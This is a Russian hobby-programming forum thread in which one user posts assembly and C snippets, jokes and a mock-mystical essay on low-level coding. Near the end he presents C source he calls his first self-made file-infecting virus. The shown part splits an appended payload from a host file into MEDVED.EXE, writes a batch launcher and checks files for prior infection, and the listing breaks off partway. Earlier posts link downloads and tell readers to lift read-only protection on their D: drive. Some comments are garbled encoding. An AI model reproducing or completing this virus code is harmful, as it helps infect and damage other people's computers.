Форум Эльфхейма
Разное => Трактир => Тема начата: Барон Морт от 16 Декабря 2012, 01:46:09
-
Если кто интересуется программированием на языке си или других языках , добро пожаловать в этот раздел !
-
Когда мне делать ну ваще нефиг и необходимо как-то убить время я предаюсь размышлениям о судьбах мира и изобретаю новые функции для компилятора СИ .
Зацените !
-
Ну что за жизнь ? Только я хотел своё творение обнародовать , как тут же все зависло .
-
Вроде работает . Если программа в середине выполнения выглядит как будто она зависла ---- не отключайте её , на самом деле она в порядке .
-
http://rghost.ru/42315743
-
Это самая сложная программа , которую мне приходилось когда-либо писать . Исходный текст у нее ---- более 40 килобайт . В жизни столько много не писал !
-
Приложению не удалось запуститься, поскольку CC3260.dll не найден.
Это Epic Fail ))))))))
Что она должна делать?
-
не понял че за бамбук ! В моей проге таких глюков не было !
-
Слухай , а ты ее до конца запускал ?
-
До конца - это как?
Скачал - запустил.
У тебя она работает потому, что у тебя установлен компилятор со всеми длл-ками.
-
она там в конце вывод текста даёт . Если нет текста значит программа ещё не завершила работу .
-
А что за длл нужны для стандартных средств необъектного си ?
-
Для правильной работы нужно снять атрибут " Только чтение " с каталога запуска программы и с диска D:\ тоже .
-
В начале работы программа выполняет поиск . Это занимает около 15 минут .
-
Перед запуском включайте звук !
-
Пипл , зацените какая у меня есть мегакрутая программа !
-
http://rghost.ru/44575814
-
Зацените код моей функции вывода строки
Turbo Assembler Version 4.1 18/03/13 01:30:45 Page 56
LED2.ASM
3136 0824 ASHNAZG PROC
3137
3138 ; ПАРАМЕТРЫ ФУНКЦИИ .
3139 ; KOORDINATAY
3140 ; KOORDINATAX ----- КООРДИНАТЫ КУРСОРА .
3141 ; DI ---- В ЭТОМ РЕГИСТРЕ ДОЛЖЕН
3142 ; НАХОДИТЬСЯ АДРЕС
; ПЕРВОГО БАЙТА
3143 ; ВЫВОДИМОЙ СТРОКИ .
3144
3145 0824 83 06 0DC9r 01 ADD GOLLUM,1
3146
3147 0829 50 PUSH AX
3148 082A 53 PUSH BX
3149 082B 51 PUSH CX
3150 082C 52 PUSH DX
3151 082D 56 PUSH SI
3152 082E 57 PUSH DI
3153
3154 082F B0 00 MOV AL,0
3155 0831 A2 0DCBr MOV GALADRIEL,AL
3156
3157 0834 B8 0000 MOV AX,0
3158 0837 A3 0DCCr MOV ELROND,AX
3159
3160 ; GALADRIEL == 0
3161 ; ELROND == 0
3162
3163 083A M45:
3164
3165 ;-----------------------
3166
3167 083A 8A 36 0AB2r MOV DH,KOORDINATAY
3168 083E 8A 16 0AB1r MOV DL,C
3169 0842 02 16 0AB3r ADD DL,KOORDINATAX
3170
3171
3172
3173
3174 0846 E8 00CA CALL FRODO
3175
3176 ;----------------------
3177 ; ПУСТЬ DI ----
3178 ; ЭТО АДРЕС ПЕРВОГО БАЙТА
3179 ; ОБЛАСТИ ВЫВОДА .
3180
3181 0849 57 PUSH DI
3182 084A 03 3E 0DCCr ADD DI,ELROND
3183 084E 8B 35 MOV SI,[DI]
3184 0850 5F POP DI
3185
3186 0851 E8 00C1 CALL MORDOR
3187
3188 ;----------------------
3189
3190 0854 80 06 0DCBr 01 ADD GALADRIEL,1
3191 0859 83 06 0DCCr 01 ADD ELROND,1
3192
Turbo Assembler Version 4.1 18/03/13 01:30:45 Page 57
LED2.ASM
3193 085E E8 00B3 CALL HOBBIT
3194 0861 E8 00B0 CALL HOBBIT
3195
3196
3197 0864 E8 00AD CALL HOBBIT
3198 0867 E8 00AA CALL HOBBIT
3199
3200
3201 086A E8 00A7 CALL HOBBIT
3202 086D E8 00A4 CALL HOBBIT
3203
3204
3205 0870 E8 00A1 CALL HOBBIT
3206 0873 E8 009E CALL HOBBIT
3207
3208
3209
3210
3211
3212 0876 50 PUSH AX
3213 0877 A1 0DCCr MOV AX,ELROND
3214 087A 3B 06 0DC9r CMP AX,GOLLUM
3215 087E 58 POP AX
3216
3217 087F 75 B9 JNE M45
3218
3219 0881 5F POP DI
3220 0882 5E POP SI
3221 0883 5A POP DX
3222 0884 59 POP CX
3223 0885 5B POP BX
3224 0886 58 POP AX
3225
3226 0887 C3 RET
3227
3228 0888 ASHNAZG ENDP
3229
3230 ;--------------------------------------------------------------------------------------------------
-
Красивый код , правда ?
-
Мышьяк,да вы поэт,эстет и романтик!!))
-
Бесподобный!
На этом месте:
3167 083A 8A 36 0AB2r MOV DH,KOORDINATAY
3168 083E 8A 16 0AB1r MOV DL,C
3169 0842 02 16 0AB3r ADD DL,KOORDINATAX
я аж плакал! :D
-
Мышьяк,да вы поэт,эстет и романтик!!))
Что есть , то есть . Но чтобы увидеть до какой степения я эстет и романтик , пройдите по ссылке Rghost !
-
Бесподобный!
На этом месте:
3167 083A 8A 36 0AB2r MOV DH,KOORDINATAY
3168 083E 8A 16 0AB1r MOV DL,C
3169 0842 02 16 0AB3r ADD DL,KOORDINATAX
я аж плакал! :D
К сожалению тут как раз ошибка !
Надо писать
MOV DL,GALADRIEL
Это типа переменная .
-
В этой программе и правда есть стихи . Стихи про гномов . Если не верите ----- запустите её !
-
В этой программе 37 килобайт исходного кода вместе с комментариями . В жизни столько на Ассемблере не писал . Причём сама программа после компиляции имеет размер не боллее 4килобайт , а вместе с данными ---- не более 16 килобайт .
-
В Москве реке был пойман пьяный медвед . Медвед ореставан за пьянство и купание в неположенных местах . Ачивидцы утвирждают ,что медвед в процессе поимки его из реки размахивал шапкой-ушанкой и пел гимн СССР а так же " Калинку-Малинку " .
http://tvrain.ru/articles/v_moskve_reke_vylovili_belogo_medvedja-340100/
-
О, белый Медвед - это жесть, как она есть! :)
-
Вот в Кемерово, в местной речке Вонючке (какой-то приток Томи, кажется, Искитимка) лет тридцать назад выловили всамделишного бегемота. Он там что, против потепления климата бастовал, интересно?
О. Даже нашлась фотка http://superbarok.livejournal.com/371465.html
Комменты тоже шикарны :) ;D
-
Вот в Кемерово, в местной речке Вонючке (какой-то приток Томи, кажется, Искитимка) лет тридцать назад выловили всамделишного бегемота. Он там что, против потепления климата бастовал, интересно?
О. Даже нашлась фотка http://superbarok.livejournal.com/371465.html
Комменты тоже шикарны :) ;D
Задорнов подобную историю рассказывал, как кому-то там подарили бегемотов. Пока им строили жилище - выпустили в подобную речку и сеткой обнесли, типа чтобы не сбежали. А они сетку порвали и поплыли по реке. А там мужики. Выпили и рыбу ловят, удочками. Ловили рыбу, а поймали бегемотов.
-
Бегемоты , насколько я знаю , живут в Африке . Этот бегемот , видимо , эмигрант . Представляете , какая в западном мире царит нищета , коррупция и развал , если оттуда В РОССИЮ бежит не только Депардье , но и бегемоты ?
-
Этот бегемот , видимо , эмигрант .
Тогда скорее, диссидент. Он совершил побег из курятника из советского цирка (или зоопарка)
-
В наши дни искусство заклинания кода уже не пользуется большой популярностью, хотя в стародавние времена оно ценилось весьма высоко. Сейчас молодежь не очень-то интересуется старыми секретами, хотя так же рьяно, как и предыдущие поколения, ищет Силу. К сожалению, большинство неофитов кодерской магии отдаёт предпочтение дарам Баала и его сомнительным наукам: визуальным основам, острому си и тому подобной бесовщине. Но за внешним блеском прячется не могущество и свобода, а бессилие и оковы. Немногие из тех, кто достигает высот в этом мракобесии, ограничены вратами Баала, которые, как известно, ведут только в одно место: в геену огненную.
В поисках Силы некоторые попадают в ловушку прикладизма . Это модное учение набрало популярность в прошлом веке, и в ряды этого движения направляют свои стопы многие молодые люди, привлечённые мнимой легкостью и иллюзорными возможностями. "Обрети Силу за 15 минут!" - вот лозунг их лжепророков. Но они забыли старую пословицу, которая гласит: "без труда не вытянешь Левиафана из пруда". Вооружившись артефактами древности и современности, последователи прикладизма потокают собственному тщеславию и мании величия, не замечая, что, по сути, остаются на том же уровне, на котором были прежде.
Заклинание кода - одна из немногих наук, которые дают своим адептам истинное могущество и власть над словами и регистрами , составляющими основы виртуального мироздания.
Чтобы научиться заклинать код, нам понадобятся три вещи - отладчик , Книга Двойных Слов и собственное намерение. Без последнего ничего не выйдет, даже если будут первые два в сколь угодно большом количестве.
Книга Двойных Слов представляет собой три огромных фолианта от 400 до 1000 страниц каждый. Все три тома свободно доступны в пристанище интеловских гномов в Междусети (http://www.intel.com) в разделе для разработчиков.
К сожалению, интеловские гномы родом из бывших колоний туманного Альбиона, а посему Книга Двойных Слов полностью на английском
В апокрифических преданиях говорится, что сам Баал был не против побаловаться на досуге божественным кодом 8086 , пока не написал на нём свой Бейсик
Я хотел рассмотреть, зачем понадобилось делать отдельные мнемоники для XCHG EAX,EAX - NOP. Причина, несомненно, в метафизическом смысле числа 90h. В каком-то смысле девятка (как утроенная триада) символизирует Инь и Янь, а ноль среди своих прочих значений символизирует Абсолют. Внесение такого мощного магического слова укрепило положение x86 в астральном поле .
Есть разные пути к Силе. И каждый по-разному себе её представляет. Кто-то представляет Силу как хитроумную шкатулку с невидимыми духами внутри, а кто-то день за днём пишет строки бессмысленного кода, двигающего колесо Сансары, и видит Силу в том, чтобы это колесо продолжалось вертеться. В погоне за Силой некоторые постигают дао вирусописательства , другие продают душу Баалу, третьи призывают на помощь могучих демонов. Заклинание кода не является путём к Силе, оно является ключом ко многим путям. И пусть по ним вас ведёт безупречное совершенство .
Говорят, что Баал, помимо написания своей книги, которая так и называется "Книга Баала", создаёт собственные системы и смертные миры . Поистине с диавольской хитростью он смог сделать так, что почти каждый из нас пользуется одной из них, попадая таким образом в тень Баала, в сумерках которой рыщут его дети в поисках подати, которую не брезгуют взимать чем угодно, но преимущественно зеленью. Когда кто-нибудь, набравшись смелости, замечает Баалу, что поведение его детей слишком вызывающе и даже разрушительно для окружающей среди, он отвечает: "Но разве не достоин я некоторого количества денег от пленников моих систем? И разве не нужно моим кобольдам из индийских пределов есть, пить и отдыхать? Разве не работают они в поте лица своего, чтобы принести Человечеству лучшие системы? Разве не должны вы отдать мне все свои деньги?". На последнем Баал обычно замолкает, понимая, что ляпнул что-то не то.
Книгу Двойных Слов написали интеловские гномы для того, чтобы можно было создавать заклинания для их Философских Камней . В ней три тома. Первый том посвящён основам архитектуры интеловских Камней и о них излагается на протяжении более чем 400 страниц. Во втором томе рассказывается о формате инструкций Философского Камня I 80386 и приводится его подробное описание, что заняло почти 1000 страниц. Наконец, третий том предназначен хакерам, которые хотят поселить под сенью Философского Камня собственную систему, посрамив тем самым нечестивого и греховного Баала.
Чудеса? Именно так. Интеловские гномы даровали нам много чудес и необъяснимых явлений.
Теперь вы, наверное, понимаете, почему интеловские Камни, а также совместимые с ними (например те, которые делают гномы Амиды), получили такое широкое распространение. Ибо так неисчислимы чудеса и откровения, даруемые ими, что остается только в немом восхищении преклоняться перед гномьим мастерством.
У архитектуры 8086 длинная история .
Многие поколения магов пытались определить, в чем заключается ее сокровенный смысл. Некоторые утвеждали, что она несет врагам смерть и страдания от разящего клинка, иные указывали на ее форму и говорили, что этот разящий клинок применим далеко не всегда и не везде, а только в некоторых, хотя и весьма ответственных операциях.
Но вернемся к теме наших предыдущих статей - таинственному искусству повелевания исполняемым кодом. В прошлых главах мы изучили практически все основы, необходимые для сотворения правильно работающих заклинаний, а в предыдущей главе была проведена небольшая демонстрация могущества, которое есть у каждого заклинателя кода.
В прошлом веке магия кода пользовалась почтением, а ремесленный подход к волшебству кода , которым грешат многие нынешние адепты, был не так распространён. В те времена заклинание кода было популярно, особенно среди заклинателей демонов. Таинственные маги древности обладали невероятными на взгляд современного обывателя способностями: практически из ничего они вызывали грозных духов, ужасных привидений и призраков давно умерших программ, которые, как армия Франкенштейнов, собирали свою черную жатву. Однако разрушительное влияние Баала коснулось и магов. Со временем клан заклинателей демонов измельчал, старые герои покинули этот мир , на их место пришли новые маги. Но большинство из них отдало предпочтение бааловым лженаукам и дельфовщине. Они также создавали демонов, но их творения были ничтожны - так же, как и их создатели, и как инструменты, которые они использовали для своей псевдомагии. И поскольку судьба этих заклинателей не слишком завидна, перейдём к чтению Книги Двойных Слов. Да отступит тьма и прольётся на нас благословенный свет!
-
Тогда скорее, диссидент. Он совершил побег
из курятника из советского цирка (или зоопарка)
[/quote]
Диссидент ? Вряд ли . Диссиденты ---- это толпа олигофренов , у которых интеллект стремится к абсолютному нолю , как функция , обратная факториалу . А этот бегемот явно хитрый и себе на уме , наверное агент британской разведки .
-
Неужто сам Джеймс Бонд... :o
-
Бонд недостоин . Скорее Д . Инглиш .
-
Ну-у, портретное сходство вапче-то есть... но он явно похудел.
-
Трудно сказать . По-моему , следовало бы ожидать , что иностранный агент отощает как вобла от жизни в России . Может поэтому он такой тощий ?
-
Представляете, что ждёт Депардье ?
" Астерикс : Гляди , Обеликс , это ---- жених твоей подружки !
Обеликс : Где ? Этот? ( Пренебрежительно ) Да он же совсем тощий ... "
-
Ура ! Поздравьте меня , друзья ! Я написал свою первую 32-х-разрядную программу !
-
Что она делает!?
-
Известно что ! Хеллоу Ворд !
-
Зоцените .
-
; ЭТО ФСЁ ТУТ ТИПА КОММЕНТАРИИ .
format PE GUI 4.0
; ЧЕ ЭТО ЗА БОТВА Я ТАК И НИПОНЯЛ . КАЖИСЬ ЭТО ПОДТВЕРЖДЕНИЕ ТОГО ЧТО
; ГЕНЕРИРУЕМАЯ КОМПИЛЯТОРОМ ПРОГРАММА БУДЕТ В ФОРМАТЕ ВИНДОУС PE И ; РАБОТАТЬ ОНА БУДЕТ НА GUI 4.0
; ТО ЕСТЬ НА ЛЮБОМ МАЗДАЕ НАЧИНАЯ С Windows 95 . ПЁС ЕГО ЗНАЕТ ЧТО ЭТО ; ЗА GUI 4.0 Я ПРО ТАКОЕ НИКОГДА В ЖИЗНИ НЕ СЛЫШАЛ . .
include 'win32a.inc' ; ЗАЧЕМ-ТО НУЖЕН ФАЙЛ ИНК . НЕПОНЯТНО ЗАЧЕМ .
;----------------------------------------------------------------------
; НАЧАЛО ПРОГРАММЫ .
PUSH EAX
; УРА ! НАКОНЕЦ-ТО НАСТОЯЩИЕ 32-Х РАЗРЯДНЫЕ РЕГИСТРЫ ПОПАЛИ К НАМ В РУКИ !
MOV EAX,1
; КРУТО ! ВСЁ КАК РАНЬШЕ !
MOV [PROVERKA],EAX
; ТУТ ВСЁ ПОНЯТНО . ВСЁ КАК В СТАРОМ ДОБРОМ ТАСМЕ , ТОЛЬКО НАЗВАНИЯ ПЕРЕМЕННЫХ
; ПИШУТСЯ В КВАДРАТНЫХ СКОБКАХ . ЭТО ВОВСЕ НЕ АДРЕСНОЕ СМЕЩЕНИЕ КАК МОЖНО БЫЛО ПОДУМАТЬ ,
; А САМА ПЕРЕМЕННАЯ .
invoke MessageBoxA,0,PREVED,LEDOVIKUS,MB_ICONQUESTION+MB_YESNO
; НЕНАВИЖУ ЭТОТ ПРОКЛЯТЫЙ МАКРОС ! ТОТ КТО ЕГО ПРИДУМАЛ , НЕНАВИДИТ ИСТИННУЮ КРАСОТУ АССЕМБЛЕРА .
; Я ИЗБАВЛЮСЬ ОТ ЭТОГО МАКРОСА И БУДУ ПИСАТЬ PUSH AX , PUSH BX И ПРОЧЕЕ КАК БЫЛО В СТАРЫЕ ВРЕМЕНА .
; МАКРОСЫ НАДО ИСТРЕБИТЬ И ВСЁ ПИСАТЬ ВРУЧНУЮ !
POP EAX
; ЭТО , В СУЩНОСТИ СОВСЕМ НЕ ОБЯЗАТЕЛЬНАЯ КОМАНДА . ЗАДЕЙСТВУЕМ ЕЁ РАЗВЛЕЧЕНИЯ РАДИ .
PUSH 0
; ТУТ ТИПА КОНЕЦ НАШЕЙ АЦЦКОЙ ПРОГРАММЫ .
; PUSH 0 ---- ЭТО АРГУМЕНТ ВЫХОДНОЙ ФУНКЦИИ . УДИВИТЕЛЬНО НО ЭТА ФУНКЦИЯ РАБОТАЕТ !
invoke ExitProcess,0
; РАЗРАЗИ ГРОМ ЭТОТ МАКРОС !
; КОНЕЦ ПРОГРАММНОГО КОДА .
;--------------------------------------------------------------------
LEDOVIKUS db ' ВИН32 КАПУТ ! ВИН32 МАЗДАЙ ! ',0
; ВЫСКАЖЕМ НАШУ ЛЮБОВЬ И ПОЧТЕНИЕ ОПЕРАЦИОННОЙ СИСТЕМЕ ВИН32 И ВСЕМ ЕЁ ФУНКЦИЯМ .
QQ DB 1
PROVERKA DD 5
PREVED db ' AVE ARSENICUM ! ',0
F1 DB 'PROTZESSOR.TXT'
;-----------------------------------------------------------------------
; ТУТ ТИПА ИМПОРТ ВСЯКИХ ФУНКЦИЙ И БИБЛИОТЕК . ВСЁ РАБОТАЕТ . НИЧЕГО ТРОГАТЬ НЕ БУДЕМ .
data import
library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL',\
winmm,'WINMM.DLL'
import kernel32,\
ExitProcess,'ExitProcess'
import user32,\
MessageBoxA,'MessageBoxA'
end data
; КОНЕЦ ФИЛЬМА !
-
вОД сома програма
http://rghost.ru/45929912
-
Вот ещё одна моя самодельная функция . На этот раз на языке СИ .
Эта функция ищет файлы в котологе и складывает их в специальную структуру , а потом возвращает указатель на начало этой структуры в памяти .
Структура называется OKOSAURONA ибо подобно этому оку она видит то , что скрыто . Структрура тоже самодельная и имеет следующий вид :
#include <stdio.h>
#include <dir.h>
#include <conio.h>
#include <string.h>
//------------------------------------------------------
typedef char CHAINIK [256];
typedef CHAINIK MASSIVSTROK [100]; //-- МАССИВ СТРОК .
//------------------------------------------------------
struct OKOSAURONA
{
int CHISLOKAT;
MASSIVSTROK JASARUMAN;
}
;
-----------------------------------------------------------------------------------
OKOSAURONA POISKFAILOV()
//---- ЭТА ФУНКЦИЯ ВОЗВРАЩАЕТ СТРУКТУРУ С НАЙДЕННЫМИ ФАЙЛАМИ .
{
int KOTOLOG;
//-- CHAINIK MASSIVSTROK [100]; МАССИВ СТРОК .
CHAINIK NAZVANIJEFAILA;
struct ffblk ffblk;
OKOSAURONA PREVEDMEDVED ;
int AZEROTH;
int A,JJ,JJJ;
putch(10);
putch(13);
//---- ОБНУЛЕНИЕ СТРОКИ .
CHAINIK ETALONNOLIA ;
for (A=0;A<256;A=A+1)
{
ETALONNOLIA[A]=' ';
}
//--------------------------- ЗАВЕРШЕНО . ----------------------------
//---------------------- ОБНУЛЕНИЕ СТРУКТУРЫ . -----------------------
for (JJ=0;JJ<100;JJ=JJ+1)
{
PREVED(ETALONNOLIA,PREVEDMEDVED.JASARUMAN[JJ]);
}
//----------------------------- ЗАВЕРШЕНО . --------------------------
//--------------------------------------------------------------------
JJJ=0;
AZEROTH = findfirst("*",&ffblk,16);
if (KOTOLOG==16)
{
PREVED(ffblk.ff_name,PREVEDMEDVED.JASARUMAN[JJJ]);
JJJ=JJJ+1;
//-------------------------------------------------------------------
}
//---------------------- ГЛАВНЫЙ ЦИКЛ . -------------------------------
while (!AZEROTH)
{
AZEROTH = findnext(&ffblk);
textcolor (10) ;
KOTOLOG=ffblk.ff_attrib;
//--------------------- ЕСЛИ НАЙДЕН КАТАЛОГ . ------------------------
if (KOTOLOG==16)
{
if (ffblk.ff_name!="..")
{
PREVED(ffblk.ff_name,PREVEDMEDVED.JASARUMAN[JJJ]);
JJJ=JJJ+1;
}
}
//------------ ТО КОПИРУЕМ ЕГО НАЗВАНИЕ В МАССИВ . --------------------
if (JJJ>93)
{ break; }
}
cprintf(" ђ…†?Њ ЏЋ?‘ЉЂ . 00 000I. ");
putch(10);
putch(13);
putch(10);
putch(13);
PREVEDMEDVED.CHISLOKAT=JJJ;
return(PREVEDMEDVED);
}
-
Внутри функции поиска используется другая маленькая функция . Это функция PREVED . Она копирует строки . Строка А копируется в строку B . Функция получает два параметра ---- указатель на строку А и указатель на строку B . Размер строк не может превышать 256 байтов .
Вот код этой функции .
//-----------------------------------------------------
*PREVED(char*A,char*B)
//------ OOIEOE? AE? EIIE?IAAIE? IANNEAIA . ---------------------------
{
int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{
break ;
}
}
return(0);
}
-
Вот функция , которая объединяет две строки и записывает результат в третью
*OBJEDINENIESTROK(char*A,char*B,char*E)
//------ OOIEOE? AE? EIIE?IAAIE? IANNEAIA . ---------------------------
{
int C,C1;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
E[C]=D;
if (D==0)
{
break ;
}
}
C1=C;
for (C=0;C<256;C=C+1)
{
D=B[C];
E[C1+C]=D;
if (D==0)
{
break ;
}
}
return(0);
}
-
Каждый начинающий вирусописатель желает знать способ получения названия файла из которого стартовала программа , в тот момент когда программа уже в памяти . В СИ это очень просто .
int main(int argc, char* argv[])
argv[] ---- это системный массив в котором есть название стартового файла в формате ASCIIZ . Достаточно прочитать все символы до первого пробела , чтобы узнать это название .
-
Вот ещё вещь которую я просто обязан вам показать ! Это вирус . Это один из моих первых вирусов , способных заражать другие файлы . Это мой первый вирус подобного типа , написанный мной на языке СИ . Я придумал его полностью сам -- от алгоритма до каждой переменной . Как говорил Шекспир ---- " Я это совершил один " .
-
//---------------------------------------------------------------------
//---- ЭТО ВЕРСИЯ ПРОГРАММЫ 19 НОЯБРЯ 2012 ГОДА .
//---- ЭТА ПРОГРАММА НАХОДИТ ФАЙЛЫ И ОПРЕДЕЛЯЕТ , МОДИФИЦИРОВАНЫ ОНИ ИЛИ НЕТ .
//---- ЕСЛИ ОНИ МОДИФИЦИРОВАНЫ , ТО ВИРУС ПОВТОРНО НЕ МОДИФИЦИРУЕТ ИХ .
//---------------------------------------------------------------------------
# include <stdio.h>
# include <conio.h>
# include <sys\types.h>
# include <sys\stat.h>
# include <string.h>
# include <dir.h>
# include <process.h>
# pragma hdrstop
//---------------------------------------------------------------------------
#pragma argsused
//---------------------------------------------------------------------
//====================================================================
long OPREDELITDLINUFAILA(char*NAZVFAILA)
//---- # include <sys\types.h>
//---- # include <sys\stat.h>
//---- # include <stdio.h>
//---- # include <conio.h>
{
struct stat KROKODIL ;
int A1;
long B1;
//---------------------------------------------------------------------
A1=stat(NAZVFAILA,&KROKODIL);
if (A1!=0)
{
textcolor(10);
cprintf("OSHIBKA DOSTUPA K FAJLU . ");
textcolor(7);
}
B1=KROKODIL.st_size;
//---- ? ???? ????????? ????????? ???????? ?????? ????? .
return(B1);
}
//-------------------------------------------------------------------
int IZVLECHENIJE(char*A,int SOBSTVENNAJADLINA)
//---- ??? ??????? ?????????? .
{
long B,Z;
FILE*ISTOCHNIK ;
FILE*PRIJOMNIK ;
FILE*KOMANDABAT ;
int C;
int X;
int Z1;
char BATMEDVED[15]="MEDVED.EXE";
BATMEDVED[10]=0;
BATMEDVED[11]=0;
X=1;
B=OPREDELITDLINUFAILA(A);
cprintf(" VOT DLINA FAJLA . ");
putch(10);
putch(13);
cprintf("%d",B);
if (B>SOBSTVENNAJADLINA)
{
cprintf(" FAJL SOSTAVNOJ ! ");
//----------------------- ???????? ?????? . ---------------------------
//---- СОЗДАДИМ БАТ-ФАЙЛ PREVED.BAT И ЗАПИШЕМ ТУДА НАЗВАНИЕ ФАЙЛА
//---- MEDVED.EXE
if((KOMANDABAT = fopen("PREVED.BAT","wb"))==NULL)
{
cprintf("NE MOGU SOZDAT FAIL PREVED.BAT . ");
getch();
}
//---- ТЕПЕРЬ ЗАПИШЕМ В ФАЙЛ PREVED.BAT СТРОЧКУ "MEDVED.EXE"
//--------------------------- ГОТОВО . -------------------------------
for(Z=0;Z<12;Z=Z+1)
{
C=BATMEDVED[Z];
fputc(C,KOMANDABAT );
}
fclose(KOMANDABAT);
//--------------------------------------------------------------------
if((ISTOCHNIK = fopen(A,"rb"))==NULL)
{
cprintf("NE MOGU OTKRIT FAIL 1 . ");
getch();
}
if((PRIJOMNIK = fopen("MEDVED.EXE","wb"))==NULL)
{
cprintf("NE MOGU SOZDAT FAJL MEDVED.EXE . ");
getch();
}
//------------------------ ????? ??????? . ----------------------------
cprintf(" BUDEM KOPIROVAT ! ");
//----- ???????? ??? , ??? ????? SOBSTVENNAJADLINA-????? ? ???? MEDVED.EXE .
X=0;
for(Z=1;Z<(B+1);Z=Z+1)
{
C=fgetc(ISTOCHNIK);
if (X>=(SOBSTVENNAJADLINA))
{
fputc(C,PRIJOMNIK );
}
X=X+1;
}
fclose(ISTOCHNIK);
fclose(PRIJOMNIK );
//--------------------- ?????? . --------------------------------------
}
return(0);
}
//---------------------------------------------------------------------
* VIVODSTROKICHAR(char*A1)
//--------- ТА ЖЕ САМАЯ ФУНКЦИЯ , НО ДЛЯ ДРУГОГО ТИПА ДАННЫХ . --------
//-- ЭТА ФУНКЦИЯ ВЫВОДИТ НА ЭКРАН СТРОКУ СИМВОЛОВ .
//-- СТРОКА ДОЛЖНА ЗАКАНЧИВАТЬСЯ НОЛЁМ .
//-- ФУНКЦИЯ ПОЛУЧАЕТ ОДИН АРГУМЕНТ ---- УКАЗАТЕЛЬ
//-- НА НАЧАЛО СТРОКИ .
//-- ТРЕБУЮТСЯ ФАЙЛЫ
//-- <stdio.h>
//-- <conio.h>
{
int B1,C1;
for(C1=0;C1<100;C1=C1+1)
{
B1=*(A1+C1);
if (B1==0)
{ break ; }
putch(B1);
}
return(0);
}
//---------------------------------------------------------------------
* VIVODSTROKIINT(int*A1)
//-- ЭТА ФУНКЦИЯ ВЫВОДИТ НА ЭКРАН СТРОКУ СИМВОЛОВ .
//-- СТРОКА ДОЛЖНА ЗАКАНЧИВАТЬСЯ НОЛЁМ .
//-- ФУНКЦИЯ ПОЛУЧАЕТ ОДИН АРГУМЕНТ ---- УКАЗАТЕЛЬ
//-- НА НАЧАЛО СТРОКИ .
//-- ТРЕБУЮТСЯ ФАЙЛЫ
//-- <stdio.h>
//-- <conio.h>
{
int B1,C1;
for(C1=0;C1<100;C1=C1+1)
{
B1=*(A1+C1);
if (B1==0)
{ break ; }
putch(B1);
}
return(0);
}
//---------------------------------------------------------------------
*PREOBRAZOVANIJE_INT_V_CHAR(int*A,char*B)
//------ ФУНКЦИЯ ДЛЯ ПРЕОБРАЗОВАНИЯ МАССИВА INT В МАССИВ CHAR . ---------------------------
{
int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{
break ;
}
}
return(0);
}
//---------------------------------------------------------------------
*PREOBRAZOVANIJE_CHAR_V_INT(char*A,int*B)
//------ ФУНКЦИЯ ДЛЯ ПРЕОБРАЗОВАНИЯ МАССИВА INT В МАССИВ CHAR . ---------------------------
{
int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{
break ;
}
}
return(0);
}
//---------------------------------------------------------------------
int SRAVNENIJESTROK(int*A,int*B,int C)
//----- ЭТА ФУНКЦИЯ ПОБАЙТНО СРАВНИВАЕТ СТРОКИ A И B .
//----- СРАВНИВАЮТСЯ ПЕРВЫЕ C-1 СИМВОЛОВ .
//----- ФУНКЦИЯ ВОЗВРАЩАЕТ 1 ЕСЛИ СТРОКИ РАВНЫ .
//----- ИНАЧЕ ФУНКЦИЯ ВОЗВРАЩАЕТ НОЛЬ .
{
int D;
int E,F;
int H;
H=1;
for (D=0;D<C;D=D+1)
{
E=A[D];
F=B[D];
if (E!=F)
{
H=0;
}
}
return(H);
}
//------------------ ЭТА ФУНКЦИЯ СРАВНИВАЕТ ДВА ФАЙЛА . ---------------
int SRAVNENIJEPROGRAMM(char*PERVIJFAJL,char*VTOROJFAJL)
//----- ЭТА ПРОГРАММА ОТКРЫВАЕТ ДВА ФАЙЛА И СРАВНИВАЕТ
//----- ПОБАЙТНО ПЕРВЫЕ 500 БАЙТ КАЖДОГО ФАЙЛА .
//----- АРГУМЕНТЫ .
//----- PERVIJFAJL И
//----- VTOROJFAJL
//----- ЭТО НАЗВАНИЯ ФАЙЛОВ .
//----- ФУНКЦИЯ ВОЗВРАЩАЕТ 1 ЕСЛИ ФАЙЛЫ ИДЕНТИЧНЫ .
//----- ЕСЛИ ХОТЯ БЫ ОДИН БАЙТ ОТЛИЧАЕТСЯ , ТО ФУНКЦИЯ ВОЗВРАЩАЕТ НОЛЬ .
{
FILE*ISTOCHNIK ;
FILE*ISTOCHNIK2 ;
int C,D,C1,F;
int STROKADLIASRAVNENIJA1[501];
int STROKADLIASRAVNENIJA2[501];
int REZULTAT;
int VERSHINA ;
int OTKUDANACHAT;
int DOKUDASMOTRET;
//---------------------- КОНЕЦ ПЕРЕМЕННЫХ . ---------------------------
REZULTAT=3;
OTKUDANACHAT=0;
DOKUDASMOTRET=499;
VERSHINA=500;
for (D=0;D<501;D=D+1)
{
STROKADLIASRAVNENIJA1[D]=0;
STROKADLIASRAVNENIJA2[D]=0;
}
//---------------------------------------------------------------------
F=0;
if((ISTOCHNIK = fopen(PERVIJFAJL,"rb"))==NULL)
{
cprintf("NE MOGU OTKRIT FAIL 1 . ");
getch();
}
if((ISTOCHNIK2 = fopen(VTOROJFAJL,"rb"))==NULL)
{
cprintf("NE MOGU OTKRIT FAIL 2 . ");
getch();
}
for (D=0;D<VERSHINA;D=D+1)
{
C=fgetc(ISTOCHNIK);
C1=fgetc(ISTOCHNIK2);
if (D>OTKUDANACHAT)
{
if (D<DOKUDASMOTRET)
{
STROKADLIASRAVNENIJA1[D]=C;
STROKADLIASRAVNENIJA2[D]=C1;
//----- МЫ ВЗЯЛИ ДВА ФАЙЛА И СЧИТАЛИ ИЗ НИХ ПО СТРОКЕ . ---------------
}
}
}
fclose(ISTOCHNIK);
fclose(ISTOCHNIK2);
cprintf(" !!!!!!!!!!!!!!!!!! VNIMANIJE !!!!!!!!!!!!!!!!!!!!!!!");
putch(10);
putch(13);
cprintf(" VOT STROKI . ");
putch(10);
putch(13);
//------------------------ ВЫВОД НАШИХ СТРОК . ------------------------
textcolor(10);
//------------------- ТЕПЕРЬ СРАВНИМ ЭТИ СТРОКИ ! ---------------------
REZULTAT=SRAVNENIJESTROK(STROKADLIASRAVNENIJA1,STROKADLIASRAVNENIJA2,500);
return(REZULTAT);
}
//=====================================================================
*PREVED(int*A,int*B)
